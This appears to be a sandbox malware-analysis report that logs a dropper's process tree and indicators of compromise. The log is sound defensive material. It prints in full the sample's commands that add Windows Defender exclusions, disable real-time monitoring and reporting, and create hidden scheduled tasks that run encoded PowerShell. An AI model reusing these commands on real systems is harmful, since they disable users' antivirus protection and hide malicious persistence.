8d583fb51be84928a270da3104ddf7b216f24c0a4e07a8ed4a3d5eb57fa390c3af270203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041403de503556d14cbb66f0a3e21b1bc397b23dd155301f0603551d2304183016801403de503556d14cbb66f0a3e21b1bc397b23dd155300d06092a864886f70d01010505000382010100cb9c37aa4813120afadd449c4f52b0f4dfae04f5797908a32418fc4b2b84c02db9d5c7fef4c11f58cbb86d9c7a74e79829ab11b5e370a0a1cd4c8899938c9170e2ab0f1cbe93a9ff63d5e40760d3a3bf9d5b09f1d58ee353f48e63fa3fa7dbb466df6266d6d16e418df22db5ea774a9f9d58e22b59c04023ed2d2882453e7954922698e08048a837eff0d6796016deace80ecd6eac4417382f49dae1453e2ab93653cf3a5006f72ee8c457496c612118d504ad783c2c3a806ba7ebaf1514e9d889c1b9386ce2916c8aff64b977255730c01b24a3e1dce9df477cb5b424080530ec2dbd0bbf45bf50b9a9f3eb980112adc888c698345f8d0a3cc6e9d595956dde	wCCTwRy.exe

Suspicious behavior: EnumeratesProcesses 28 IoCs

Processes:

powershell.EXEpowershell.EXEpowershell.EXEpowershell.EXEwCCTwRy.exe

pid	process
1076	powershell.EXE
1076	powershell.EXE
1076	powershell.EXE
552	powershell.EXE
552	powershell.EXE
552	powershell.EXE
1504	powershell.EXE
1504	powershell.EXE
1504	powershell.EXE
1752	powershell.EXE
1752	powershell.EXE
1752	powershell.EXE
1256	wCCTwRy.exe
1256	wCCTwRy.exe
1256	wCCTwRy.exe
1256	wCCTwRy.exe
1256	wCCTwRy.exe
1256	wCCTwRy.exe
1256	wCCTwRy.exe
1256	wCCTwRy.exe
1256	wCCTwRy.exe
1256	wCCTwRy.exe
1256	wCCTwRy.exe
1256	wCCTwRy.exe
1256	wCCTwRy.exe
1256	wCCTwRy.exe
1256	wCCTwRy.exe
1256	wCCTwRy.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

powershell.EXEpowershell.EXEpowershell.EXEpowershell.EXE

description	pid	process
Token: SeDebugPrivilege	1076	powershell.EXE
Token: SeDebugPrivilege	552	powershell.EXE
Token: SeDebugPrivilege	1504	powershell.EXE
Token: SeDebugPrivilege	1752	powershell.EXE

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

file.exeInstall.exeInstall.exeforfiles.exeforfiles.execmd.execmd.exe

description	pid	process	target process
PID 1044 wrote to memory of 280	1044	file.exe	Install.exe
PID 1044 wrote to memory of 280	1044	file.exe	Install.exe
PID 1044 wrote to memory of 280	1044	file.exe	Install.exe
PID 1044 wrote to memory of 280	1044	file.exe	Install.exe
PID 1044 wrote to memory of 280	1044	file.exe	Install.exe
PID 1044 wrote to memory of 280	1044	file.exe	Install.exe
PID 1044 wrote to memory of 280	1044	file.exe	Install.exe
PID 280 wrote to memory of 1756	280	Install.exe	Install.exe
PID 280 wrote to memory of 1756	280	Install.exe	Install.exe
PID 280 wrote to memory of 1756	280	Install.exe	Install.exe
PID 280 wrote to memory of 1756	280	Install.exe	Install.exe
PID 280 wrote to memory of 1756	280	Install.exe	Install.exe
PID 280 wrote to memory of 1756	280	Install.exe	Install.exe
PID 280 wrote to memory of 1756	280	Install.exe	Install.exe
PID 1756 wrote to memory of 384	1756	Install.exe	forfiles.exe
PID 1756 wrote to memory of 384	1756	Install.exe	forfiles.exe
PID 1756 wrote to memory of 384	1756	Install.exe	forfiles.exe
PID 1756 wrote to memory of 384	1756	Install.exe	forfiles.exe
PID 1756 wrote to memory of 384	1756	Install.exe	forfiles.exe
PID 1756 wrote to memory of 384	1756	Install.exe	forfiles.exe
PID 1756 wrote to memory of 384	1756	Install.exe	forfiles.exe
PID 1756 wrote to memory of 1272	1756	Install.exe	forfiles.exe
PID 1756 wrote to memory of 1272	1756	Install.exe	forfiles.exe
PID 1756 wrote to memory of 1272	1756	Install.exe	forfiles.exe
PID 1756 wrote to memory of 1272	1756	Install.exe	forfiles.exe
PID 1756 wrote to memory of 1272	1756	Install.exe	forfiles.exe
PID 1756 wrote to memory of 1272	1756	Install.exe	forfiles.exe
PID 1756 wrote to memory of 1272	1756	Install.exe	forfiles.exe
PID 384 wrote to memory of 1608	384	forfiles.exe	cmd.exe
PID 384 wrote to memory of 1608	384	forfiles.exe	cmd.exe
PID 384 wrote to memory of 1608	384	forfiles.exe	cmd.exe
PID 384 wrote to memory of 1608	384	forfiles.exe	cmd.exe
PID 384 wrote to memory of 1608	384	forfiles.exe	cmd.exe
PID 384 wrote to memory of 1608	384	forfiles.exe	cmd.exe
PID 384 wrote to memory of 1608	384	forfiles.exe	cmd.exe
PID 1272 wrote to memory of 1460	1272	forfiles.exe	cmd.exe
PID 1272 wrote to memory of 1460	1272	forfiles.exe	cmd.exe
PID 1272 wrote to memory of 1460	1272	forfiles.exe	cmd.exe
PID 1272 wrote to memory of 1460	1272	forfiles.exe	cmd.exe
PID 1272 wrote to memory of 1460	1272	forfiles.exe	cmd.exe
PID 1272 wrote to memory of 1460	1272	forfiles.exe	cmd.exe
PID 1272 wrote to memory of 1460	1272	forfiles.exe	cmd.exe
PID 1608 wrote to memory of 284	1608	cmd.exe	reg.exe
PID 1608 wrote to memory of 284	1608	cmd.exe	reg.exe
PID 1608 wrote to memory of 284	1608	cmd.exe	reg.exe
PID 1608 wrote to memory of 284	1608	cmd.exe	reg.exe
PID 1608 wrote to memory of 284	1608	cmd.exe	reg.exe
PID 1608 wrote to memory of 284	1608	cmd.exe	reg.exe
PID 1608 wrote to memory of 284	1608	cmd.exe	reg.exe
PID 1460 wrote to memory of 272	1460	cmd.exe	reg.exe
PID 1460 wrote to memory of 272	1460	cmd.exe	reg.exe
PID 1460 wrote to memory of 272	1460	cmd.exe	reg.exe
PID 1460 wrote to memory of 272	1460	cmd.exe	reg.exe
PID 1460 wrote to memory of 272	1460	cmd.exe	reg.exe
PID 1460 wrote to memory of 272	1460	cmd.exe	reg.exe
PID 1460 wrote to memory of 272	1460	cmd.exe	reg.exe
PID 1608 wrote to memory of 1640	1608	cmd.exe	reg.exe
PID 1608 wrote to memory of 1640	1608	cmd.exe	reg.exe
PID 1608 wrote to memory of 1640	1608	cmd.exe	reg.exe
PID 1608 wrote to memory of 1640	1608	cmd.exe	reg.exe
PID 1608 wrote to memory of 1640	1608	cmd.exe	reg.exe
PID 1608 wrote to memory of 1640	1608	cmd.exe	reg.exe
PID 1608 wrote to memory of 1640	1608	cmd.exe	reg.exe
PID 1460 wrote to memory of 1924	1460	cmd.exe	reg.exe

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1044

C:\Users\Admin\AppData\Local\Temp\7zS3563.tmp\Install.exe
.\Install.exe
2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:280

C:\Users\Admin\AppData\Local\Temp\7zS3F33.tmp\Install.exe
.\Install.exe /S /site_id "525403"
3⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Loads dropped DLL
- Drops file in System32 directory
- Enumerates system info in registry
- Suspicious use of WriteProcessMemory
PID:1756

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
4⤵
- Suspicious use of WriteProcessMemory
PID:384

C:\Windows\SysWOW64\cmd.exe
/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
5⤵
- Suspicious use of WriteProcessMemory
PID:1608

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
6⤵
PID:284

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
6⤵
PID:1640

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
4⤵
- Suspicious use of WriteProcessMemory
PID:1272

C:\Windows\SysWOW64\cmd.exe
/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
5⤵
- Suspicious use of WriteProcessMemory
PID:1460

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
6⤵
PID:272

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
6⤵
PID:1924

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "gZJfHtwPd" /SC once /ST 02:27:29 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
4⤵
- Creates scheduled task(s)
PID:1732

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "gZJfHtwPd"
4⤵
PID:1888

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "gZJfHtwPd"
4⤵
PID:1704

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "byLWBUphYKVPGqoaZN" /SC once /ST 07:28:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\PKTFfLRluxQTmPRqk\bWhXUEvIQwsbyrm\ivXGNPU.exe\" rw /site_id 525403 /S" /V1 /F
4⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:920

C:\Windows\system32\taskeng.exe
taskeng.exe {C668EE74-592D-482E-8A23-593BC3BACAEE} S-1-5-21-999675638-2867687379-27515722-1000:ORXGKKZC\Admin:Interactive:[1]
1⤵
PID:432

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1076

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
3⤵
PID:1548

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:552

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
3⤵
PID:240

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1504

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
3⤵
PID:2028

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1752

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
3⤵
PID:1932

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:2008

C:\Windows\system32\taskeng.exe
taskeng.exe {C51A86EC-484F-4E81-BFD8-DE041FFA04A9} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
PID:1660

C:\Users\Admin\AppData\Local\Temp\PKTFfLRluxQTmPRqk\bWhXUEvIQwsbyrm\ivXGNPU.exe
C:\Users\Admin\AppData\Local\Temp\PKTFfLRluxQTmPRqk\bWhXUEvIQwsbyrm\ivXGNPU.exe rw /site_id 525403 /S
2⤵
- Executes dropped EXE
- Drops file in System32 directory
PID:272

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "gLUFNbNSB" /SC once /ST 05:17:54 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
3⤵
- Creates scheduled task(s)
PID:1608

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "gLUFNbNSB"
3⤵
PID:1008

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "gLUFNbNSB"
3⤵
PID:1492

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
3⤵
PID:1960

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
4⤵
- Modifies Windows Defender Real-time Protection settings
PID:1652

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
3⤵
PID:1448

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
4⤵
- Modifies Windows Defender Real-time Protection settings
PID:1984

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "gAkxrzozq" /SC once /ST 01:14:31 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
3⤵
- Creates scheduled task(s)
PID:1704

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "gAkxrzozq"
3⤵
PID:984

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "gAkxrzozq"
3⤵
PID:956

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\oCRUNVefZTIhACRx" /t REG_DWORD /d 0 /reg:32
3⤵
PID:1688

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\oCRUNVefZTIhACRx" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:2024

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\oCRUNVefZTIhACRx" /t REG_DWORD /d 0 /reg:64
3⤵
PID:1748

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\oCRUNVefZTIhACRx" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:1520

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\oCRUNVefZTIhACRx" /t REG_DWORD /d 0 /reg:32
3⤵
PID:616

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\oCRUNVefZTIhACRx" /t REG_DWORD /d 0 /reg:32
4⤵
PID:1728

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\oCRUNVefZTIhACRx" /t REG_DWORD /d 0 /reg:64
3⤵
PID:1972

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\oCRUNVefZTIhACRx" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1496

C:\Windows\SysWOW64\cmd.exe
cmd /C copy nul "C:\Windows\Temp\oCRUNVefZTIhACRx\wIhRJGZg\nOxpSVslEQfkleZz.wsf"
3⤵
PID:1588

C:\Windows\SysWOW64\wscript.exe
wscript "C:\Windows\Temp\oCRUNVefZTIhACRx\wIhRJGZg\nOxpSVslEQfkleZz.wsf"
3⤵
- Modifies data under HKEY_USERS
PID:1928

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\BrFEHzbpwZEBC" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:516

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\BrFEHzbpwZEBC" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:2044

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZFNizbZnU" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:1784

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZFNizbZnU" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:1684

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\aIaOnhtotwUn" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:1616

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\aIaOnhtotwUn" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:292

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\gCafjQbERGAU2" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:1540

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\gCafjQbERGAU2" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:924

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ogOKxwoIKtPajjLdTvR" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:1796

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ogOKxwoIKtPajjLdTvR" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:760

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\euGiausHkJdtKpVB" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:2012

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\euGiausHkJdtKpVB" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:1728

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\PKTFfLRluxQTmPRqk" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:428

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\PKTFfLRluxQTmPRqk" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:2004

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\oCRUNVefZTIhACRx" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:1848

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\oCRUNVefZTIhACRx" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:1884

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\BrFEHzbpwZEBC" /t REG_DWORD /d 0 /reg:32
4⤵
PID:1356

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\BrFEHzbpwZEBC" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1964

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZFNizbZnU" /t REG_DWORD /d 0 /reg:32
4⤵
PID:1888

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZFNizbZnU" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1468

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\aIaOnhtotwUn" /t REG_DWORD /d 0 /reg:32
4⤵
PID:1612

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\aIaOnhtotwUn" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1564

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\gCafjQbERGAU2" /t REG_DWORD /d 0 /reg:32
4⤵
PID:788

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\gCafjQbERGAU2" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1688

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ogOKxwoIKtPajjLdTvR" /t REG_DWORD /d 0 /reg:32
4⤵
PID:1492

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ogOKxwoIKtPajjLdTvR" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1524

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\euGiausHkJdtKpVB" /t REG_DWORD /d 0 /reg:32
4⤵
PID:1972

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\euGiausHkJdtKpVB" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1064

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\PKTFfLRluxQTmPRqk" /t REG_DWORD /d 0 /reg:32
4⤵
PID:864

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\PKTFfLRluxQTmPRqk" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1732

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\oCRUNVefZTIhACRx" /t REG_DWORD /d 0 /reg:32
4⤵
PID:1608

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\oCRUNVefZTIhACRx" /t REG_DWORD /d 0 /reg:64
4⤵
PID:2044

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "gPAwqHsqt" /SC once /ST 05:03:42 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
3⤵
- Creates scheduled task(s)
PID:552

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "gPAwqHsqt"
3⤵
PID:1896

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "gPAwqHsqt"
3⤵
PID:1492

C:\Windows\SysWOW64\cmd.exe
cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:32
3⤵
PID:1496

C:\Windows\SysWOW64\reg.exe
